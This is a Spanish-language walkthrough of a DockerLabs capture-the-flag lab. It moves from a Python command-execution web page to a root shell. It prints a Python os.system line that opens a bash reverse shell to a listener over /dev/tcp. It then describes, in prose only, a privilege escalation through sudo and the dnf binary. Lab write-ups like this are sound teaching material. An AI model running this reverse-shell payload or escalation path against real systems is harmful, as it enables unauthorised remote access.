Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos un escaneo de la dirección IP y solo podemos observar que identifico un puerto.
Si ingresamos a la dirección web y agregamos el puerto en el navegador podemos observar que se trata de una interfaz para probar comandos en Python.
Probamos un comando simple y observamos que podemos observar una respuesta.
Ya que podemos ejecutar comandos, primero intentamos probar que tanto podemos ejecutar comandos y vemos que tenemos bastantes posibilidades.
Ya que podemos ejecutar comandos de Python no es necesario usar una shell hecha en Python. Lo que haremos es usar una shell básica y la ejecutaremos igual que los comandos anteriores.
import os
os.system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'")
Antes de enviar debemos iniciar nuestro listener.
Y luego enviamos.
Unos segundos después podemos observar que ya tenemos acceso y estamos como primi.
Una vez dentro realizamos un sudo -l y observamos que podemos elevar a root haciendo uso del binario dnf.
Si vamos a la página de GFTOBins podemos observar como aprovecharnos de este binario para acceder como root.
Tratamos de crear el archivo, pero no es posible.
Por ello lo crearemos en nuestra máquina para luego transferirla Una vez creado el archivo en nuestra máquina.
Para transferir iniciamos un servidor con Python.
En la máquina víctima descargamos, tratamos de descargar usando wget, pero no es posible así que usamos Curl.
Ya con el archivo ejecutamos el último comando que observamos en la página.
Esperamos un momento hasta que nos diga complete!.
Ahora podemos ejecutar el comando bash -p y obtendremos acceso como root. De esta manera culminando esta máquina.
